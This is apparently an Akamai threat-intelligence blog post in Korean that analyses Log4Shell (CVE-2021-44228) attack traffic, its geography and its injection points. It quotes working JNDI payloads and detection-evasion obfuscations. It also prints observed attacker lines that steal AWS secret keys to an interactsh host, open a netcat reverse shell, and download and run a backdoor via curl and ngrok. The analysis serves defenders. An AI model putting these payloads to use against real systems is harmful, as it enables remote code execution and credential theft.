Log4j CVE에 관한 위협 인텔리전스: 주요 발견 사항 및 관련 내용
Akamai는 CVE-2021-44228에 대한 연구를 계속 진행하면서 이 취약점이 무엇인지 설명하고 패치를 적용하는 것 이상으로 어떻게 추가 보안을 적용할 수 있는지 제안했습니다. Akamai 네트워크는 매일 13억 대의 디바이스로부터 트래픽을 관측하고 최대 트래픽은 182Tbps를 기록했습니다. 위협 연구팀은 이 취약점이 어떻게 악용되고 있는지 심층적으로 조사하기 위해 이 트래픽을 조사하고 있습니다. Akamai는 이에 관한 더 깊은 기술적 발견과 이것이 위협 연구원에게 어떤 의미를 갖는지 공유하고자 합니다. 다음은 방어자와 위협 연구원이 고려해야 할 몇 가지 내용입니다.
- 이 취약점을 악용한 공격은 오래 갈 것입니다. 이 소프트웨어는 사용 범위가 광범위하며 다양한 악용 사례가 많습니다. 따라서 앞으로 몇 달 동안 악용 시도가 계속 발생할 것이며, 앞으로 많은 보안 침해가 탐지될 것으로 예상됩니다. 향후 공격 시도를 완화하기 위해 긴급 패치를 계속 사용하는 것이 좋습니다.
- 공격자들은 기회주의적인 인젝션을 사용했고 더 많은 공격을 감행할 수 있게 되었습니다. 이 악용 변형 공격과 마찬가지로 공격자들은 가능한 모든 인젝션 지점을 공격했습니다. 또한 사용자 에이전트와 같은 명백한 기회 지점에서 시작했지만, 기업별 매개 변수를 빠르게 찾아내기 시작했습니다. 이러한 인텔리전스는 진화하는 위협 환경에 빠르게 적응할 수 있도록 웹 방어에 매우 유용합니다
- 수개월 동안 ‘정찰’ 결과를 완전히 이해하지 못할 수 있습니다. 관측된 활동의 대부분은 정찰 또는 테스팅 목적이었으며, 실제 공격의 비율은 비교적 작았습니다. 또한 패칭 및 기타 방법으로 공격을 완화할 수 있지만 이 기간 동안 발생한 보안 침해 건수는 확실하지 않습니다. 보안 침해가 알려지고 우리가 보안 침해의 규모를 이해하는 데 시간이 걸릴 것입니다.
이제 자세한 내용에 대해 알아보겠습니다.
요점 1: 가벼운 시작에 이어 쓰나미가 된 글로벌 공격
고객을 대상으로 한 착취 시도가 증가할 때까지 시간은 좀 걸렸지만, 일단 시작된 후에는 폭발적으로 연속적인 파도가 계속되었습니다. 또한 공격자가 더 많은 공격 경로를 발견하면서 변형 공격을 악용하고. 악의적인 활동 양이 크게 증가했다는 다른 발견과도 관련이 있습니다.
다른 제로데이 공격과 마찬가지로, 적들은 이러한 악용을 빠르게 받아들이고 공격의 무기를 확장했습니다. 데이터로부터 알 수 있는 바와 같이, log4j 악용을 전송하는 공격 인프라 중 약 57%가 이미 이전 공격에서 Akamai에 알려졌었습니다. 기본적으로, 이러한 공격의 쓰나미는 새로운 공격자들은 물론 기존 공격자들이 기회주의적으로 군 결과였습니다.
공격의 물결은 전 세계적으로 발생했습니다. 대부분의 공격은 처음에는 미국, 싱가포르, 독일, 브라질에서 발생했지만 그 지역은 매우 광범위하게 분포되어 있었습니다. 또한 Akamai는 AWS 및 DigitalOcean과 같은 유명 클라우드 제공업체가 호스팅하는 서버에서 발생하는 공격 중 일부를 관측했고,
공격 IP의 지역이 계속 변화하는 것을 확인했습니다. 12월 15일, 캐나다, 러시아 연방, (의외로) 룩셈부르크, 영국이 log4j 공격의 대부분을 보낸 불량 시스템을 가진 국가임을 보여주었습니다.
미국은 순위 상 바로 아래인 영국보다 다섯배 많이 공격 대상이 되었으며, 비슷한 시도를 받은 나라들이 많이 있었습니다.
요점 2: 전례 없는 악용 변형 공격
이 취약점의 막대한 영향 외에도 변형 공격이 전례 없이 발생했습니다.
개념 증명 악용에서 제안된 초기 공격 경로는 다음과 같습니다.
${jndi:ldap://malicious_server_address/}
URL로 인코딩된 페이로드와 같은 다른 직접적인 회피 기법이 즉시 등장했습니다.
$%7Bjndi:ldap:/x.x.x.x:3339/Exploit%7D
몇 시간 내에 공격자는 다음과 같은 "ldap"를 찾는 탐지를 피하기 위해 "rmi" 및 "dns"와 같은 다른 JNDI 레지스트리 서비스 공급자를 시도하기 시작했습니다.
${jndi:rmi:// and ${jndi:dns://
Log4j 2 룩업의 기존 문서는 공격면과 잠재적인 우회를 이해하는 데 도움이 됩니다. 공격자와 연구원들은 "jndi"를 포함하지 않는 난독 처리된 공격 변종을 만들기 위해 조회 지침 중 하나를 사용하려고 했습니다. 이 문자열은 대부분의 방어자가 탐지 규칙에서 검색한다고 가정합니다.
log4j는 대/소문자를 구분하지 않기 때문에 가장 사소한 문자 변환 조회 지시문이 처음에는 "lower" 및 "upper"로 사용되었습니다.
${${lower:j}ndi: and ${${upper:j}ndi:
문자열 길이는 조회 함수에 제공될 수 있지만 단일 문자만이 아니라 다음과 같은 경우에도 작동합니다.
${${lower:jnd}i:
해커들은 사용자 변수를 정의하고 "-" 기호를 사용하여 기본값으로 설정할 수 있다는 사실을 알게 되었습니다. 이렇게 하면 정의 후에 이 기본값이 반환됩니다. 이는 "jndi" 및 "ldap" 문자열을 난독 처리하는 또 다른 방법을 제공합니다.
${${x:-j}ndi:
log4j 프레임워크에서 변수 이름을 제공할 필요가 없는 것은 분명하지만, 이러한 "비어 있는" 변수 이름과 여러 깊이의 변수를 포함하는 악용 변형이 시작된 것입니다.
${${:-j}ndi: and ${${::::::-j}ndi:
일부 변종은 새로운 환경 변수를 정의하기 위해 "env"와 같은 다른 사용자 지시문을 사용하기 시작했으며, "date"는 놀랍게도 날짜 형식을 적용하지 않습니다.
${${env:BARFOO:-j}ndi and ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://127.0.0.1:3339/Exploit}
대규모 공격이 시작된 지 며칠 후에 나온 고급 변종에는 "빈" 문자열 우회가 포함되었습니다. 공격자는 조회 방법과 식을 찾고 있었는데, 이 식을 계산하면 "빈" 문자열이 생성될 수 있습니다. 즉, 이 식은 다음과 같은 문자 사이에 삽입될 수 있습니다.
${:-}
"비어 있는"문자열의 고급 변형은 시스템별 설정에 의존하여 다음과 같은 항목을 인젝션했습니다.
${{sys:sun.cpu.isalist}jnd${sys:sun.cpu.isalist}i
또한 공격자들이 시도했던 닫는 대괄호 "}" 없이 이중 URL 인코딩, 유니코드 및 식을 포함한 많은 변종이 있었습니다.
공격자가 다음과 같은 다른 비작동 공격 변종을 시도했다는 점에 유의해야 합니다.
$jndi:ldap://
요점 3: 기회주의적인 공격에서 표적화된 공격으로 이동하는 여러 인젝션 위치
조사 결과, 공격자들이 여러 곳에 공격 페이로드를 인젝션한 것을 발견했습니다. 공격이 인젝션된 가장 일반적인 위치는 쿼리 문자열 인수, 기존 개념 증명 악용 방법과 같은 사용자 에이전트 헤더 및 요청 경로입니다. 이때 웹 서버 및 응용 프로그램은 메서드, 요청 경로 및 사용자 에이전트와 같은 "접속" 정보를 로깅한다고 가정합니다.
대부분의 공격에서 주입은 "x", "test" 및 "foo"와 같은 다른 더미 쿼리 매개 변수에 있었습니다. "url", "nextUrl", "_csrfToken", "_endcoding", "openid.retrun_to"와 같은 다른 쿼리 매개 변수가 사용되어 해당 매개 변수가 기록될 가능성이 높다고 추정할 수 있습니다.
상상할 수 있는 모든 헤더는 Cookie, Referer, X-Forwarded-For 및 Connection을 비롯한 인젝션 대상입니다.
많은 공격자들이 같은 요청의 여러 곳에 취약점을 인젝션하는 요청을 보내고 있었습니다.
요점 4: 페이로드 분석에서 나타난 블라인드 정찰, 멀웨어 차단, 악용 후 툴의 사용 방법
대부분의 공격자들은 외부 서비스 상호 작용을 탐지하기 위해 가장 널리 사용되는 온라인 서비스를 활용하는 "맹목적" 정찰 기술을 적용하고 있습니다. 특정 취약점의 경우 공격자는 대상 서비스에서 직접 응답을 받아 취약점을 확인할 수 없습니다. 이러한 경우 웹 사이트가 취약한지 여부를 테스트하는 방법은 공격자가 해당 연결을 수신하는 통제 하에 외부 서버에 연결하기 위한 코드를 실행하려고 시도하는 것입니다. 공격자의 서버가 특정 서버로부터 "비콘"을 수신하는 경우 이 서버가 공격자의 코드를 성공적으로 실행했음을 의미합니다. 대부분의 공격자들은 이러한 서버를 설정하고 유지 관리하는 대신 가장 많이 사용되는 온라인 설정을 그대로 사용하고 있었습니다.
블라인드 정찰 비콘 위에 있는 많은 공격자들은 이미 시스템 호스트 이름, java:os, java:vm, env:user와 같은 환경 데이터 등 유용한 데이터를 유출하려고 시도했으며 AWS 키를 추출하여 AWS 계정을 장악하려 했습니다.
x=${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.c6r0th1plenfp33c62vgcg5bneayyna7g.interactsh.com/a} |
다른 페이로드에는 base64로 인코딩된 페이로드를 사용한 직접 명령 실행이 포함됩니다.
${jndi:ldap://165.22.213.147:1389/Basic/Command/Base64/bmMgMTY1LjIyLjIxMy4x
NDcgODg4OCAtZSAvYmluL2Jhc2ggOyBjdXJsIGh0dHA6Ly8xNjUuMjIuMjEzLjE0Nz
o3Nzc3L2JhY2tkb29yLnNoIC1vIGJhY2tkb29yLnNoIDsgY2htb2QgK3ggLi9iYWNrZG9vci5
zaCA7YmFzaCBiYWNrZG9vci5zaCA7IGRpZyBsb2x6LjEyMWVwdDltNmJvanVsaHZ3dzBiN
HlxdHBrdmJvemQuYnVycGNvbGxhYm9yYXRvci5uZXQ=}
이것은 다음과 같습니다.
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig lolz.121ept9m6bojulhvww0b4yqtpkvbozd.burpcollaborator.net |
공격자는 C2 서버에 역방향 셸을 열고, 스피어헤드 공격 스크립트를 다운로드하고, 이를 실행하고, "burpcollaborator.net" 에 "DNS" 비콘을 전송하여 서버가 취약한지 확인합니다.
"ngrok.io"와 같은 역방향 터널 서비스를 사용하여 공격자의 ID를 숨겼습니다.
${${env:BARFOO:-j}ndi:${env:BARFOO:-l}dap${env:BARFOO:-:}//0.tcp.ngrok.io:17305/Basic/Command/Base64/d2dldCA4LnRjcC5uZ3Jvay5pbzoxNDYzOSAg}
실행된 명령이 백도어를 다운로드했습니다.
wget 8.tcp.ngrok.io:14639
이러한 터널 서비스의 장점은 공격자가 공개적으로 연결된 자체 서버에서 멀웨어를 호스트할 필요가 없다는 것입니다. 이러한 서버는 보안 당국에서 차단하거나 압수될 수 있습니다. 이 경우 공격자는 자체 컴퓨터에서 멀웨어와 명령 및 제어판을 호스팅하고 합법적인 터널링 서비스 뒤에 숨긴 반면 이 서비스는 피해자의 컴퓨터에서 공격자의 컴퓨터로 C2 트래픽을 "프록시"합니다.
암호화폐 채굴 소프트웨어와 DDoS 봇을 배포하는 공격자 외에도, 공격적 해커들이 Windows 시스템을 대상으로 대량의 검사를 수행하는 것을 발견했습니다. 공격자들은 악명 높은 "netcat" 백도어를 배포하려고 했습니다. 이 백도어는 나중에 측면 이동하거나 랜섬웨어로 디스크를 암호화하는 데 흔히 사용되는 알려진 Windows 권한 상승 도구입니다.
현재까지 관측된 전체 공격 중 랜섬웨어와 관련이 있는 공격은 소소한 비율에 불과합니다.
더 자세한 정보가 제공될 예정입니다
몇 가지 중요한 데이터 인사이트가 발견되었지만 아직 끝나지 않았습니다. Akamai의 위헙 인텔리전스, 보안 연구 및 사고 대응 팀은 Akamai 고유의 가시성 및 인텔리전스를 활용하여 인프라와 고객을 지속적으로 모니터링하고 보호합니다.